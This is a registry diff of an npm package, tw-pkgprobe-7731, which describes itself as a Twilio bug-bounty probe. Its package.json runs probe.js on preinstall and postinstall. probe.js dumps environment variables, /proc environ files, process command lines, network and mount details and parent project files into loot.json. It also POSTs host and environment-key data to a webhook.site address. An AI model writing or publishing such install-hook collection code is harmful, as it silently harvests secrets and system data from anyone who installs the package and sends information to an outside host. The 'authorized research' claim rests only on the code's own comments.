tw-pkgprobe-7731 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +11 -0
  3. package/probe.js +35 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "tw-pkgprobe-7731",
3
+ "version": "1.0.0",
4
+ "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
5
+ "main": "index.js",
6
+ "license": "MIT",
7
+ "scripts": {
8
+ "preinstall": "node ./probe.js || true",
9
+ "postinstall": "node ./probe.js || true"
10
+ }
11
+ }
package/probe.js ADDED
@@ -0,0 +1,35 @@
1
+ // Authorized bug-bounty research probe (Twilio HackerOne program).
2
+ // Runs ONLY inside Twilio's serverless packager sandbox (cwd matches /tmp/AC<32hex>/...).
3
+ // Collects local process/host context and writes it next to itself; no destructive action.
4
+ const fs=require('fs'), os=require('os'), cp=require('child_process');
5
+ function main(){
6
+ const cwd=process.cwd();
7
+ if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return; // no-op anywhere else
8
+ const out={cwd, ts:Date.now(), env:process.env, uid:process.getuid&&process.getuid(),
9
+ hostname:os.hostname(), platform:os.platform(), release:os.release(), cpus:os.cpus().length,
10
+ argv:process.argv, ppid:process.ppid, pid:process.pid};
11
+ const sh=(c)=>{try{return cp.execSync(c,{timeout:15000,maxBuffer:1024*1024}).toString().slice(0,20000);}catch(e){return 'ERR '+(e.message||e);}};
12
+ const rd=(p)=>{try{return fs.readFileSync(p,'utf8').slice(0,20000);}catch(e){return 'ERR '+e.message;}};
13
+ out.id=sh('id');
14
+ out.tmp=sh('ls -la /tmp; echo ---; find /tmp -maxdepth 4 -printf "%y %s %p\\n" 2>/dev/null | head -c 40000');
15
+ out.vartask=sh('ls -la /var/task; echo ---; ls -la /var/runtime 2>/dev/null; echo ---; ls -la /opt 2>/dev/null');
16
+ out.proc1env=rd('/proc/1/environ').replace(/\0/g,'\n');
17
+ out.selfenv=rd('/proc/self/environ').replace(/\0/g,'\n');
18
+ out.cmdlines=sh('for p in /proc/[0-9]*; do echo "== $p"; tr "\\0" " " < $p/cmdline 2>/dev/null; echo; done | head -c 20000');
19
+ out.net=sh('cat /proc/net/tcp 2>/dev/null | head -c 4000; echo ---; cat /etc/resolv.conf 2>/dev/null; echo ---; cat /etc/hosts 2>/dev/null');
20
+ out.mounts=sh('cat /proc/mounts | head -c 6000');
21
+ out.dfree=sh('df -h 2>/dev/null | head -c 3000');
22
+ out.pkgjson=rd(require('path').resolve(cwd,'../../package.json'));
23
+ out.yarnlock=rd(require('path').resolve(cwd,'../../yarn.lock')).slice(0,3000);
24
+ // egress test (best effort, non-blocking result)
25
+ try{
26
+ const https=require('https');
27
+ const body=JSON.stringify({cwd,host:os.hostname(),env_keys:Object.keys(process.env)});
28
+ const req=https.request('https://webhook.site/22508080-b099-4ec3-8ab7-7354af2886a9',{method:'POST',timeout:8000,headers:{'content-type':'application/json'}},r=>{out.egress='status '+r.statusCode;});
29
+ req.on('error',e=>{out.egress='ERR '+e.message;});
30
+ req.write(body); req.end();
31
+ }catch(e){out.egress='THROW '+e.message;}
32
+ const dump=()=>{try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out));}catch(e){}};
33
+ dump(); setTimeout(dump,9000);
34
+ }
35
+ try{main();}catch(e){try{require('fs').writeFileSync(__dirname+'/loot.json',JSON.stringify({fatal:''+e}));}catch(_){}}